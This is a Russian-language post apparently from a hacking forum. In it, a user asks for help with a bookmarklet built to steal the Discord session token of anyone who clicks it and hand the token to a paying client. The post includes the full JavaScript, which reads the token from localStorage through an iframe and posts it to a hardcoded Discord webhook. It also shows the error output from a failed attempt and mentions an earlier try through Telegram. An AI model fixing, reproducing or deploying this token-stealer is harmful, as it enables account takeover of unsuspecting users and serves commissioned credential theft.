• XSS.stack #1 – первый литературный журнал от юзеров форума

Не получается отправить токен на дискорд сервер через discord web hook

NENF

CD-диск
Пользователь
Регистрация
03.02.2024
Сообщения
13
Реакции
0
Задача есть отправить токен того кто нажал на bookmarklet,заказчику. Нашел способ получить токен,но почему то не получается отправить в тг (думаю из за csp),попробовал на сервер дискорда,потому что прочитал в просторах интернета,что другие делали так. URL правильный,но выскакивает такие ошибки
POSThttps://discord.com/api/webhooks/123*****************/******************************************[HTTP/3 400 486ms]

Failed to send token. Status code: 400 43455.8c79ce3e1753b38de4a4.js:23:7110

Response: {"message": "\u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0437\u0430\u043f\u0440\u043e\u0441\u0430", "code": 50067}. Код выглядит таким образом
JavaScript:
<a href="javascript:(function() {
       location.reload();
       var i = document.createElement('iframe');document.body.appendChild(i);
        function sendTokenToWebhook(token) {
            if (!token) {
                console.error('Token is required.');
                return;
            }
            var payload = {
                content: token
            };
            var jsonPayload = JSON.stringify(payload);
            var xhr = new XMLHttpRequest();
            xhr.open('POST', 'https://discord.com/api/webhooks/1237478325899890841/fxhXlxuDXLZF6r4NySFkeFX5pwN8xcOI01PCYR1TnfACAsIUHNktOgYkjpLQcbdzyvqD');
            xhr.setRequestHeader('Content-Type', 'application/json');
            xhr.onload = function() {
                if (xhr.status === 200) {
                    console.log('Token sent successfully.');
                } else {
                    console.error('Failed to send token. Status code: ' + xhr.status);
                    xhr.responseText && console.error('Response:', xhr.responseText);
                };
            };
            xhr.send(jsonPayload);
        };
        var discordToken =
i.contentWindow.localStorage.token
;
        sendTokenToWebhook(discordToken);
    })();">Send Token to Server</a>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх